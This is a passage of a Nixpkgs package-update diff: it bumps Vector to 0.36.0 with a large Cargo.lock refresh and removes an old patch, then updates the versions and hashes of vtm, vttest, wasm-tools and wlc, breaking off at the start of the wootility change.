"proc-macro2 1.0.74", + "proc-macro2 1.0.78", "quote 1.0.35", - "syn 2.0.46", + "syn 2.0.48", ] [[package]] @@ -8817,14 +8746,13 @@ checksum = "dd16aa9ffe15fe021c6ee3766772132c6e98dfa395a167e16864f61a9cfb71d6" [[package]] name = "tempfile" -version = "3.9.0" +version = "3.10.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "01ce4141aa927a6d1bd34a041795abd0db1cccba5d5f24b009f694bdf3a1f3fa" +checksum = "a365e8cd18e44762ef95d87f284f4b5cd04107fec2ff3052bd6a3e6069669e67" dependencies = [ "cfg-if", "fastrand 2.0.1", - "redox_syscall 0.4.1", - "rustix 0.38.28", + "rustix 0.38.31", "windows-sys 0.52.0", ] @@ -8854,7 +8782,7 @@ version = "0.3.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "21bebf2b7c9e0a515f6e0f8c51dc0f8e4696391e6f1ff30379559f8365fb0df7" dependencies = [ - "rustix 0.38.28", + "rustix 0.38.31", "windows-sys 0.48.0", ] @@ -8887,22 +8815,22 @@ dependencies = [ [[package]] name = "thiserror" -version = "1.0.51" +version = "1.0.57" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f11c217e1416d6f036b870f14e0413d480dbf28edbee1f877abaf0206af43bb7" +checksum = "1e45bcbe8ed29775f228095caf2cd67af7a4ccf756ebff23a306bf3e8b47b24b" dependencies = [ "thiserror-impl", ] [[package]] name = "thiserror-impl" -version = "1.0.51" +version = "1.0.57" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "01742297787513b79cf8e29d1056ede1313e2420b7b3b15d0a768b4921f549df" +checksum = "a953cb265bef375dae3de6663da4d3804eee9682ea80d8e2542529b73c531c81" dependencies = [ - "proc-macro2 1.0.74", + "proc-macro2 1.0.78", "quote 1.0.35", - "syn 2.0.46", + "syn 2.0.48", ] [[package]] @@ -9003,9 +8931,9 @@ checksum = "1f3ccbac311fea05f86f61904b462b55fb3df8837a366dfc601a0161d0532f20" [[package]] name = "tokio" -version = "1.35.1" +version = "1.36.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c89b4efa943be685f629b149f53829423f8f5531ea21249408e8e2f8671ec104" +checksum = "61285f6515fa018fb2d1e46eb21223fff441ee8db5d0f1435e8ab4f5cdb80931" dependencies = [ "backtrace", "bytes 1.5.0", @@ -9048,9 +8976,9 @@ version = "2.2.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "5b8a1e28f2deaa14e508979454cb3a223b10b938b45af148bc0986de36f1923b" dependencies = [ - "proc-macro2 1.0.74", + "proc-macro2 1.0.78", "quote 1.0.35", - "syn 2.0.46", + "syn 2.0.48", ] [[package]] @@ -9114,22 +9042,11 @@ dependencies = [ [[package]] name = "tokio-rustls" -version = "0.23.4" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c43ee83903113e03984cb9e5cebe6c04a5116269e900e3ddba8f068a62adda59" -dependencies = [ - "rustls 0.20.9", - "tokio", - "webpki", -] - -[[package]] -name = "tokio-rustls" version = "0.24.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "c28327cf380ac148141087fbfb9de9d7bd4e84ab5d2c28fbc911d753de8a7081" dependencies = [ - "rustls 0.21.8", + "rustls", "tokio", ] @@ -9166,7 +9083,7 @@ checksum = "212d5dcb2a1ce06d81107c3d0ffa3121fe974b73f068c8282cb1c32328113b6c" dependencies = [ "futures-util", "log", - "rustls 0.21.8", + "rustls", "tokio", "tungstenite", ] @@ -9188,23 +9105,14 @@ dependencies = [ [[package]] name = "toml" -version = "0.5.11" +version = "0.8.10" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f4f7f0dd8d50a853a531c426359045b1998f04219d88799810762cd4ad314234" -dependencies = [ - "serde", -] - -[[package]] -name = "toml" -version = "0.8.8" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a1a195ec8c9da26928f773888e0742ca3ca1040c6cd859c919c9f59c1954ab35" +checksum = "9a9aad4a3066010876e8dcf5a8a06e70a558751117a145c6ce2b82c2e2054290" dependencies = [ "serde", "serde_spanned", "toml_datetime", - "toml_edit 0.21.0", + "toml_edit 0.22.4", ] [[package]] @@ -9222,7 +9130,7 @@ version = "0.19.15" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "1b5bb770da30e5cbfde35a2d7b9b8a2c4b8ef89548a7a6aeab5c9a576e3e7421" dependencies = [ - "indexmap 2.1.0", + "indexmap 2.2.3", "toml_datetime", "winnow", ] @@ -9233,18 +9141,18 @@ version = "0.20.7" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "70f427fce4d84c72b5b732388bf4a9f4531b53f74e2887e3ecb2481f68f66d81" dependencies = [ - "indexmap 2.1.0", + "indexmap 2.2.3", "toml_datetime", "winnow", ] [[package]] name = "toml_edit" -version = "0.21.0" +version = "0.22.4" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d34d383cd00a163b4a5b85053df514d45bc330f6de7737edfe0a93311d1eaa03" +checksum = "0c9ffdf896f8daaabf9b66ba8e77ea1ed5ed0f72821b398aba62352e95062951" dependencies = [ - "indexmap 2.1.0", + "indexmap 2.2.3", "serde", "serde_spanned", "toml_datetime", @@ -9253,37 +9161,6 @@ dependencies = [ [[package]] name = "tonic" -version = "0.9.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "3082666a3a6433f7f511c7192923fa1fe07c69332d3c6a2e6bb040b569199d5a" -dependencies = [ - "async-stream", - "async-trait", - "axum", - "base64 0.21.5", - "bytes 1.5.0", - "futures-core", - "futures-util", - "h2 0.3.22", - "http 0.2.9", - "http-body", - "hyper", - "hyper-timeout", - "percent-encoding", - "pin-project", - "prost 0.11.9", - "rustls-pemfile", - "tokio", - "tokio-rustls 0.24.1", - "tokio-stream", - "tower", - "tower-layer", - "tower-service", - "tracing 0.1.40", -] - -[[package]] -name = "tonic" version = "0.10.2" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "d560933a0de61cf715926b9cac824d4c883c2c43142f787595e48280c40a1d0e" @@ -9291,10 +9168,10 @@ dependencies = [ "async-stream", "async-trait", "axum", - "base64 0.21.5", + "base64 0.21.7", "bytes 1.5.0", "flate2", - "h2 0.3.22", + "h2 0.3.24", "http 0.2.9", "http-body", "hyper", @@ -9302,11 +9179,11 @@ dependencies = [ "percent-encoding", "pin-project", "prost 0.12.3", - "rustls 0.21.8", + "rustls", "rustls-native-certs", "rustls-pemfile", "tokio", - "tokio-rustls 0.24.1", + "tokio-rustls", "tokio-stream", "tower", "tower-layer", @@ -9321,7 +9198,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "a6fdaae4c2c638bb70fe42803a26fbd6fc6ac8c72f5c59f67ecc2a2dcabf4b07" dependencies = [ "prettyplease 0.1.25", - "proc-macro2 1.0.74", + "proc-macro2 1.0.78", "prost-build 0.11.9", "quote 1.0.35", "syn 1.0.109", @@ -9334,10 +9211,10 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "9d021fc044c18582b9a2408cd0dd05b1596e3ecdb5c4df822bb0183545683889" dependencies = [ "prettyplease 0.2.15", - "proc-macro2 1.0.74", + "proc-macro2 1.0.78", "prost-build 0.12.3", "quote 1.0.35", - "syn 2.0.46", + "syn 2.0.48", ] [[package]] @@ -9367,7 +9244,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "61c5bb1d698276a2443e5ecfabc1008bf15a36c12e6a7176e7bf089ea9131140" dependencies = [ "async-compression", - "base64 0.21.5", + "base64 0.21.7", "bitflags 2.4.1", "bytes 1.5.0", "futures-core", @@ -9438,9 +9315,9 @@ version = "0.1.27" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "34704c8d6ebcbc939824180af020566b01a7c01f80641264eba0999f6c2b6be7" dependencies = [ - "proc-macro2 1.0.74", + "proc-macro2 1.0.78", "quote 1.0.35", - "syn 2.0.46", + "syn 2.0.48", ] [[package]] @@ -9652,7 +9529,7 @@ version = "0.10.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "89851716b67b937e393b3daa8423e67ddfc4bbbf1654bcf05488e95e0828db0c" dependencies = [ - "proc-macro2 1.0.74", + "proc-macro2 1.0.78", "quote 1.0.35", "syn 1.0.109", ] @@ -9672,9 +9549,9 @@ version = "0.16.2" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "f03ca4cb38206e2bef0700092660bb74d696f808514dae47fa1467cbfe26e96e" dependencies = [ - "proc-macro2 1.0.74", + "proc-macro2 1.0.78", "quote 1.0.35", - "syn 2.0.46", + "syn 2.0.48", ] [[package]] @@ -9702,9 +9579,9 @@ version = "0.2.15" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "291db8a81af4840c10d636e047cac67664e343be44e24dfdbd1492df9a5d3390" dependencies = [ - "proc-macro2 1.0.74", + "proc-macro2 1.0.78", "quote 1.0.35", - "syn 2.0.46", + "syn 2.0.48", ] [[package]] @@ -9823,12 +9700,6 @@ checksum = "ab4c90930b95a82d00dc9e9ac071b4991924390d46cbd0dfe566148667605e4b" [[package]] name = "untrusted" -version = "0.7.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a156c684c91ea7d62626509bce3cb4e1d9ed5c4d978f7b4352658f96a4c26b4a" - -[[package]] -name = "untrusted" version = "0.9.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "8ecb6da28b8a351d773b68d5825ac39017e680750f980f3a1a85cd8dd28a47c1" @@ -9882,11 +9753,11 @@ checksum = "711b9620af191e0cdc7468a8d14e709c3dcdb115b36f838e601583af800a370a" [[package]] name = "uuid" -version = "1.6.1" +version = "1.7.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5e395fcf16a7a3d8127ec99782007af141946b4795001f876d54fb0d55978560" +checksum = "f00cc9702ca12d3c81455259621e676d0f7251cec66a21e98fe2e9a37db93b2a" dependencies = [ - "getrandom 0.2.11", + "getrandom 0.2.12", "rand 0.8.5", "serde", "wasm-bindgen", @@ -9911,17 +9782,17 @@ dependencies = [ "anyhow", "cached", "chrono", - "clap 4.4.12", + "clap 4.4.18", "clap-verbosity-flag", "clap_complete", "confy", - "directories 5.0.1", + "directories", "dunce", "glob", "hex", - "indexmap 2.1.0", + "indexmap 2.2.3", "indicatif", - "itertools 0.12.0", + "itertools 0.12.1", "log", "once_cell", "os_info", @@ -9931,10 +9802,10 @@ dependencies = [ "reqwest", "serde", "serde_json", - "serde_yaml 0.9.29", + "serde_yaml 0.9.31", "sha2", "tempfile", - "toml 0.8.8", + "toml", ] [[package]] @@ -9945,7 +9816,7 @@ checksum = "f1bddf1187be692e79c5ffeab891132dfb0f236ed36a43c7ed39f1165ee20191" [[package]] name = "vector" -version = "0.35.0" +version = "0.36.0" dependencies = [ "apache-avro", "approx", @@ -9970,9 +9841,9 @@ dependencies = [ "aws-sdk-sqs", "aws-sigv4", "aws-smithy-async", - "aws-smithy-client", "aws-smithy-http", - "aws-smithy-http-tower", + "aws-smithy-runtime", + "aws-smithy-runtime-api", "aws-smithy-types", "aws-types", "axum", @@ -9980,7 +9851,7 @@ dependencies = [ "azure_identity", "azure_storage", "azure_storage_blobs", - "base64 0.21.5", + "base64 0.21.7", "bloomy", "bollard", "bytes 1.5.0", @@ -9988,7 +9859,7 @@ dependencies = [ "chrono", "chrono-tz", "cidr-utils 0.6.1", - "clap 4.4.12", + "clap 4.4.18", "colored", "console-subscriber", "criterion", @@ -10010,7 +9881,7 @@ dependencies = [ "governor", "greptimedb-client", "grok", - "h2 0.4.0", + "h2 0.4.2", "hash_hasher", "hashbrown 0.14.3", "headers", @@ -10024,11 +9895,11 @@ dependencies = [ "hyper", "hyper-openssl", "hyper-proxy", - "indexmap 2.1.0", + "indexmap 2.2.3", "indoc", "infer 0.15.0", "inventory", - "itertools 0.12.0", + "itertools 0.12.1", "k8s-openapi 0.18.0", "kube", "lapin", @@ -10079,18 +9950,18 @@ dependencies = [ "roaring", "rstest", "seahash", - "semver 1.0.20", + "semver 1.0.21", "serde", "serde-toml-merge", "serde_bytes", "serde_json", - "serde_with 3.4.0", - "serde_yaml 0.9.29", + "serde_with 3.6.1", + "serde_yaml 0.9.31", "sha2", "similar-asserts", "smallvec", "smpl_jwt", - "snafu", + "snafu 0.7.5", "snap", "socket2 0.5.5", "stream-cancel", @@ -10106,8 +9977,8 @@ dependencies = [ "tokio-test", "tokio-tungstenite", "tokio-util", - "toml 0.8.8", - "tonic 0.10.2", + "toml", + "tonic", "tonic-build 0.10.2", "tower", "tower-http", @@ -10137,7 +10008,7 @@ dependencies = [ "anyhow", "async-trait", "chrono", - "clap 4.4.12", + "clap 4.4.18", "futures 0.3.30", "graphql_client", "indoc", @@ -10160,7 +10031,7 @@ dependencies = [ "async-trait", "bytecheck", "bytes 1.5.0", - "clap 4.4.12", + "clap 4.4.18", "crc32fast", "criterion", "crossbeam-queue", @@ -10182,8 +10053,8 @@ dependencies = [ "rand 0.8.5", "rkyv", "serde", - "serde_yaml 0.9.29", - "snafu", + "serde_yaml 0.9.31", + "snafu 0.7.5", "temp-dir", "tokio", "tokio-test", @@ -10208,7 +10079,7 @@ dependencies = [ "crossbeam-utils", "derivative", "futures 0.3.30", - "indexmap 2.1.0", + "indexmap 2.2.3", "metrics", "nom", "ordered-float 4.2.0", @@ -10220,7 +10091,7 @@ dependencies = [ "serde", "serde_json", "smallvec", - "snafu", + "snafu 0.7.5", "stream-cancel", "tokio", "tracing 0.1.40", @@ -10234,20 +10105,20 @@ dependencies = [ name = "vector-config" version = "0.1.0" dependencies = [ - "assert-json-diff 2.0.2", + "assert-json-diff", "chrono", "chrono-tz", "encoding_rs", "http 0.2.9", - "indexmap 2.1.0", + "indexmap 2.2.3", "inventory", "no-proxy", "num-traits", "serde", "serde_json", - "serde_with 3.4.0", - "snafu", - "toml 0.8.8", + "serde_with 3.6.1", + "snafu 0.7.5", + "toml", "tracing 0.1.40", "url", "vector-config-common", @@ -10261,13 +10132,13 @@ name = "vector-config-common" version = "0.1.0" dependencies = [ "convert_case 0.6.0", - "darling 0.20.3", + "darling 0.20.5", "once_cell", - "proc-macro2 1.0.74", + "proc-macro2 1.0.78", "quote 1.0.35", "serde", "serde_json", - "syn 2.0.46", + "syn 2.0.48", "tracing 0.1.40", ] @@ -10275,12 +10146,12 @@ dependencies = [ name = "vector-config-macros" version = "0.1.0" dependencies = [ - "darling 0.20.3", - "proc-macro2 1.0.74", + "darling 0.20.5", + "proc-macro2 1.0.78", "quote 1.0.35", "serde", "serde_derive_internals", - "syn 2.0.46", + "syn 2.0.48", "vector-config", "vector-config-common", ] @@ -10291,7 +10162,7 @@ version = "0.1.0" dependencies = [ "async-graphql", "async-trait", - "base64 0.21.5", + "base64 0.21.7", "bitmask-enum", "bytes 1.5.0", "chrono", @@ -10309,7 +10180,7 @@ dependencies = [ "headers", "http 0.2.9", "hyper-proxy", - "indexmap 2.1.0", + "indexmap 2.2.3", "metrics", "metrics-tracing-context", "metrics-util", @@ -10338,18 +10209,19 @@ dependencies = [ "security-framework", "serde", "serde_json", - "serde_with 3.4.0", + "serde_with 3.6.1", + "serde_yaml 0.9.31", "similar-asserts", "smallvec", - "snafu", + "snafu 0.7.5", "socket2 0.5.5", "tokio", "tokio-openssl", "tokio-stream", "tokio-test", "tokio-util", - "toml 0.8.8", - "tonic 0.10.2", + "toml", + "tonic", "tracing 0.1.40", "tracing-core 0.1.32", "tracing-subscriber", @@ -10386,6 +10258,8 @@ dependencies = [ name = "vector-lookup" version = "0.1.0" dependencies = [ + "proptest", + "proptest-derive", "serde", "vector-config", "vector-config-macros", @@ -10416,7 +10290,7 @@ dependencies = [ name = "vector-vrl-cli" version = "0.1.0" dependencies = [ - "clap 4.4.12", + "clap 4.4.18", "vector-vrl-functions", "vrl", ] @@ -10435,7 +10309,7 @@ dependencies = [ "ansi_term", "chrono", "chrono-tz", - "clap 4.4.12", + "clap 4.4.18", "enrichment", "glob", "prettydiff", @@ -10454,7 +10328,7 @@ version = "0.1.0" dependencies = [ "cargo_toml", "enrichment", - "getrandom 0.2.11", + "getrandom 0.2.12", "gloo-utils", "serde", "serde-wasm-bindgen", @@ -10477,15 +10351,15 @@ checksum = "6a02e4885ed3bc0f2de90ea6dd45ebcbb66dacffe03547fadbb0eeae2770887d" [[package]] name = "vrl" -version = "0.9.1" +version = "0.11.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0c13adaad36ee7b6f8cb7e7baa17ac05d84439d787b0b058df7be1cd9b04f485" +checksum = "4e125a431e61be8819cd967dce0b610290d51b30e287df9a0aeb07afa9a9a719" dependencies = [ "aes", "ansi_term", "arbitrary", "base16", - "base64 0.21.5", + "base64 0.21.7", "bytes 1.5.0", "cbc", "cfb-mode", @@ -10495,13 +10369,14 @@ dependencies = [ "chrono", "chrono-tz", "cidr-utils 0.6.1", - "clap 4.4.12", + "clap 4.4.18", "codespan-reporting", "community-id", "crypto_secretbox", "csv", "ctr", "data-encoding", + "digest", "dns-lookup", "dyn-clone", "exitcode", @@ -10510,9 +10385,11 @@ dependencies = [ "hex", "hmac", "hostname", - "indexmap 2.1.0", + "iana-time-zone", + "idna 0.5.0", + "indexmap 2.2.3", "indoc", - "itertools 0.12.0", + "itertools 0.12.1", "lalrpop", "lalrpop-util", "md-5", @@ -10529,11 +10406,12 @@ dependencies = [ "pest_derive", "prettydiff", "prettytable-rs", + "psl", "quickcheck", "quoted_printable", "rand 0.8.5", "regex", - "roxmltree 0.19.0", + "roxmltree", "rust_decimal", "rustyline", "seahash", @@ -10542,7 +10420,7 @@ dependencies = [ "sha-1", "sha2", "sha3", - "snafu", + "snafu 0.8.0", "snap", "strip-ansi-escapes", "syslog_loose", @@ -10559,6 +10437,12 @@ dependencies = [ ] [[package]] +name = "vsimd" +version = "0.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5c3082ca00d5a5ef149bb8b555a72ae84c9c59f7250f013ac822ac2e49b19c64" + +[[package]] name = "vte" version = "0.11.1" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -10574,7 +10458,7 @@ version = "0.1.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "d257817081c7dffcdbab24b9e62d2def62e2ff7d00b1c20062551e6cccc145ff" dependencies = [ - "proc-macro2 1.0.74", + "proc-macro2 1.0.78", "quote 1.0.35", ] @@ -10656,9 +10540,9 @@ checksum = "9c8d87e72b64a3b4db28d11ce29237c246188f4f51057d65a7eab63b7987e423" [[package]] name = "wasm-bindgen" -version = "0.2.89" +version = "0.2.91" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0ed0d4f68a3015cc185aff4db9506a015f4b96f95303897bfa23f846db54064e" +checksum = "c1e124130aee3fb58c5bdd6b639a0509486b0338acaaae0c84a5124b0f588b7f" dependencies = [ "cfg-if", "wasm-bindgen-macro", @@ -10666,16 +10550,16 @@ dependencies = [ [[package]] name = "wasm-bindgen-backend" -version = "0.2.89" +version = "0.2.91" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1b56f625e64f3a1084ded111c4d5f477df9f8c92df113852fa5a374dbda78826" +checksum = "c9e7e1900c352b609c8488ad12639a311045f40a35491fb69ba8c12f758af70b" dependencies = [ "bumpalo", "log", "once_cell", - "proc-macro2 1.0.74", + "proc-macro2 1.0.78", "quote 1.0.35", - "syn 2.0.46", + "syn 2.0.48", "wasm-bindgen-shared", ] @@ -10693,9 +10577,9 @@ dependencies = [ [[package]] name = "wasm-bindgen-macro" -version = "0.2.89" +version = "0.2.91" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0162dbf37223cd2afce98f3d0785506dcb8d266223983e4b5b525859e6e182b2" +checksum = "b30af9e2d358182b5c7449424f017eba305ed32a7010509ede96cdc4696c46ed" dependencies = [ "quote 1.0.35", "wasm-bindgen-macro-support", @@ -10703,28 +10587,28 @@ dependencies = [ [[package]] name = "wasm-bindgen-macro-support" -version = "0.2.89" +version = "0.2.91" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f0eb82fcb7930ae6219a7ecfd55b217f5f0893484b7a13022ebb2b2bf20b5283" +checksum = "642f325be6301eb8107a83d12a8ac6c1e1c54345a7ef1a9261962dfefda09e66" dependencies = [ - "proc-macro2 1.0.74", + "proc-macro2 1.0.78", "quote 1.0.35", - "syn 2.0.46", + "syn 2.0.48", "wasm-bindgen-backend", "wasm-bindgen-shared", ] [[package]] name = "wasm-bindgen-shared" -version = "0.2.89" +version = "0.2.91" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7ab9b36309365056cd639da3134bf87fa8f3d86008abf99e612384a6eecd459f" +checksum = "4f186bd2dcf04330886ce82d6f33dd75a7bfcf69ecf5763b89fcde53b6ac9838" [[package]] name = "wasm-streams" -version = "0.3.0" +version = "0.4.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b4609d447824375f43e1ffbc051b50ad8f4b3ae8219680c94452ea05eb240ac7" +checksum = "b65dc4c90b63b118468cf747d8bf3566c1913ef60be765b5730ead9e0a3ba129" dependencies = [ "futures-util", "js-sys", @@ -10761,16 +10645,6 @@ dependencies = [ ] [[package]] -name = "webpki" -version = "0.22.4" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ed63aea5ce73d0ff405984102c42de94fc55a6b75765d621c65262469b3c9b53" -dependencies = [ - "ring 0.17.5", - "untrusted 0.9.0", -] - -[[package]] name = "webpki-roots" version = "0.25.2" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -10785,7 +10659,7 @@ dependencies = [ "either", "home", "once_cell", - "rustix 0.38.28", + "rustix 0.38.31", ] [[package]] @@ -10797,7 +10671,7 @@ dependencies = [ "either", "home", "once_cell", - "rustix 0.38.28", + "rustix 0.38.31", "windows-sys 0.48.0", ] @@ -11097,9 +10971,9 @@ version = "0.5.22" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "13a3a53eaf34f390dd30d7b1b078287dd05df2aa2e21a589ccb80f5c7253c2e9" dependencies = [ - "assert-json-diff 2.0.2", + "assert-json-diff", "async-trait", - "base64 0.21.5", + "base64 0.21.7", "deadpool", "futures 0.3.30", "futures-timer", @@ -11148,12 +11022,6 @@ dependencies = [ ] [[package]] -name = "yansi" -version = "0.5.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "09041cd90cf85f7f8b2df60c646f853b7f535ce68f85244eb6731cf89fa498ec" - -[[package]] name = "zerocopy" version = "0.7.31" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -11168,9 +11036,9 @@ version = "0.7.31" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "b3c129550b3e6de3fd0ba67ba5c81818f9805e58b8d7fee80a3a59d2c9fc601a" dependencies = [ - "proc-macro2 1.0.74", + "proc-macro2 1.0.78", "quote 1.0.35", - "syn 2.0.46", + "syn 2.0.48", ] [[package]] diff --git a/pkgs/tools/misc/vector/default.nix b/pkgs/tools/misc/vector/default.nix index de9341c1c6bc1..0540bcac517bd 100644 --- a/pkgs/tools/misc/vector/default.nix +++ b/pkgs/tools/misc/vector/default.nix @@ -36,7 +36,7 @@ let pname = "vector"; - version = "0.35.0"; + version = "0.36.0"; in rustPlatform.buildRustPackage { inherit pname version; @@ -45,16 +45,15 @@ rustPlatform.buildRustPackage { owner = "vectordotdev"; repo = pname; rev = "v${version}"; - hash = "sha256-hScmHDkKkR6g1rrVRzBjtkrq59w1efIjeRJdDxmb+nY="; + hash = "sha256-fbBKmhouY021osFVqNhEC+16cO7z3bS+DBhg1ByDeWw="; }; cargoLock = { lockFile = ./Cargo.lock; outputHashes = { - "aws-config-0.54.1" = "sha256-AVumLhybVbMnEah9/JqiQOQ4R0e2OsbB8WAJ422R6uk="; - "greptime-proto-0.1.0" = "sha256-kSOy/0s8ZJ1RfqOb469oaVlreABtHxesNaMzFH6H+aE="; - "greptimedb-client-0.1.0" = "sha256-mGgbxp/h55snowS2BV+QRwrhnE5vywfRF9Gc+8MoAdY="; - "heim-0.1.0-rc.1" = "sha256-ODKEQ1udt7FlxI5fvoFMG7C2zmM45eeEYDUEaLTsdYo="; + "greptime-proto-0.1.0" = "sha256-Q8xr6qN6SAGGK0W96WuNRdQ5/8iNlruqzhXD6xq3Ua8="; + "greptimedb-client-0.1.0" = "sha256-l4r/2DGllXiFgOwpa83ZRiK9o0L4bokVltCGD1cp3NM="; + "heim-0.1.0-rc.1" = "sha256-TFgLR5zb/oqceVOH4mIOvFFY/HMOLSo8VI5Eh9KP60E="; "nix-0.26.2" = "sha256-uquYvRT56lhupkrESpxwKEimRFhmYvri10n3dj0f2yg="; "ntapi-0.3.7" = "sha256-G6ZCsa3GWiI/FeGKiK9TWkmTxen7nwpXvm5FtjNtjWU="; "tokio-util-0.7.8" = "sha256-HCvtfohOoa1ZjD4s7QLDbIV4fe/MVBKtgM1QQX7gGKQ="; @@ -99,8 +98,6 @@ rustPlatform.buildRustPackage { "--skip=sources::aws_kinesis_firehose::tests::handles_acknowledgement_failure" ]; - patches = [ ./vector-pr19518.patch ]; - # recent overhauls of DNS support in 0.9 mean that we try to resolve # vector.dev during the checkPhase, which obviously isn't going to work. # these tests in the DNS module are trivial though, so stubbing them out is diff --git a/pkgs/tools/misc/vector/vector-pr19518.patch b/pkgs/tools/misc/vector/vector-pr19518.patch deleted file mode 100644 index a8ee5334eda95..0000000000000 --- a/pkgs/tools/misc/vector/vector-pr19518.patch +++ /dev/null @@ -1,25 +0,0 @@ -diff --git a/src/config/loading/mod.rs b/src/config/loading/mod.rs -index 58c464a58..40656fd29 100644 ---- a/src/config/loading/mod.rs -+++ b/src/config/loading/mod.rs -@@ -13,7 +13,6 @@ use std::{ - }; - - use config_builder::ConfigBuilderLoader; --pub use config_builder::*; - use glob::glob; - use loader::process::Process; - pub use loader::*; -diff --git a/src/sinks/prometheus/remote_write/mod.rs b/src/sinks/prometheus/remote_write/mod.rs -index 3ebda7df8..cf5b37a70 100644 ---- a/src/sinks/prometheus/remote_write/mod.rs -+++ b/src/sinks/prometheus/remote_write/mod.rs -@@ -24,8 +24,6 @@ mod tests; - #[cfg(all(test, feature = "prometheus-integration-tests"))] - mod integration_tests; - --pub use config::RemoteWriteConfig; -- - #[derive(Debug, Snafu)] - enum Errors { - #[cfg(feature = "aws-core")] diff --git a/pkgs/tools/misc/vtm/default.nix b/pkgs/tools/misc/vtm/default.nix index 3e37ae1bddab5..05218731add15 100644 --- a/pkgs/tools/misc/vtm/default.nix +++ b/pkgs/tools/misc/vtm/default.nix @@ -6,13 +6,13 @@ stdenv.mkDerivation (finalAttrs: { pname = "vtm"; - version = "0.9.63"; + version = "0.9.74"; src = fetchFromGitHub { owner = "netxs-group"; repo = "vtm"; rev = "v${finalAttrs.version}"; - hash = "sha256-6WRSkS2uPHOcEmk2xB63G+zxbRu1tlz1D7k92ITEgSQ="; + hash = "sha256-O8fnh8I3KbiOD40bU0eO7tbvpMoSCVonKPVFx5pynR4="; }; nativeBuildInputs = [ diff --git a/pkgs/tools/misc/vttest/default.nix b/pkgs/tools/misc/vttest/default.nix index 962322ba3437c..4808d4dacdbfc 100644 --- a/pkgs/tools/misc/vttest/default.nix +++ b/pkgs/tools/misc/vttest/default.nix @@ -2,14 +2,14 @@ stdenv.mkDerivation rec { pname = "vttest"; - version = "20231230"; + version = "20240218"; src = fetchurl { urls = [ "https://invisible-mirror.net/archives/${pname}/${pname}-${version}.tgz" "ftp://ftp.invisible-island.net/${pname}/${pname}-${version}.tgz" ]; - sha256 = "sha256-SuYjx3t5fn+UlGlI0LJ+RqtOAdhD9iYIAMVzkKoEy/U="; + sha256 = "sha256-YlspL4BS/7vv59nW+9+cjR/Bi1yFVo8lRwl9l8VAvXU="; }; meta = with lib; { diff --git a/pkgs/tools/misc/wasm-tools/default.nix b/pkgs/tools/misc/wasm-tools/default.nix index 71958c152a226..539850306bfe2 100644 --- a/pkgs/tools/misc/wasm-tools/default.nix +++ b/pkgs/tools/misc/wasm-tools/default.nix @@ -5,19 +5,19 @@ rustPlatform.buildRustPackage rec { pname = "wasm-tools"; - version = "1.0.60"; + version = "1.201.0"; src = fetchFromGitHub { owner = "bytecodealliance"; repo = pname; - rev = "${pname}-${version}"; - hash = "sha256-+cOx1ad2IvBLFMo83NAvyDSHCZC9aAGPmQBISaiMSaY="; + rev = "v${version}"; + hash = "sha256-L3wo6a9rxqZ8Rjz8nejbfdTgQclFFp2ShdP6QECbrmg="; fetchSubmodules = true; }; # Disable cargo-auditable until https://github.com/rust-secure-code/cargo-auditable/issues/124 is solved. auditable = false; - cargoHash = "sha256-ek89mtJpRH/WR9mekw0gJyd64L/bRGvF7624byHWKPQ="; + cargoHash = "sha256-XzU43bcoRGHhVmpkcKvdRH9UybjTkQWH8RKBqsM/31M="; cargoBuildFlags = [ "--package" "wasm-tools" ]; cargoTestFlags = [ "--all" ]; diff --git a/pkgs/tools/misc/wlc/default.nix b/pkgs/tools/misc/wlc/default.nix index 3b52d7eb284d6..648f05587d077 100644 --- a/pkgs/tools/misc/wlc/default.nix +++ b/pkgs/tools/misc/wlc/default.nix @@ -7,11 +7,11 @@ with python3.pkgs; buildPythonPackage rec { pname = "wlc"; - version = "1.13"; + version = "1.14"; src = fetchPypi { inherit pname version; - sha256 = "sha256-MZ6avuMNT5HIIXW7ezukAJeO70o+SrgJnBnGjNy4tYE="; + sha256 = "sha256-QMF41B6a2jMSdhjeFoRQq+K1YJAEz96msHLzX6wVqSc="; }; propagatedBuildInputs = [ diff --git a/pkgs/tools/misc/wootility/default.nix b/pkgs/tools/misc/wootility/default.nix index a4f3cb2f92d85..eaa910def691d 100644 --- a/pkgs/tools/misc/wootility/default.nix +++ 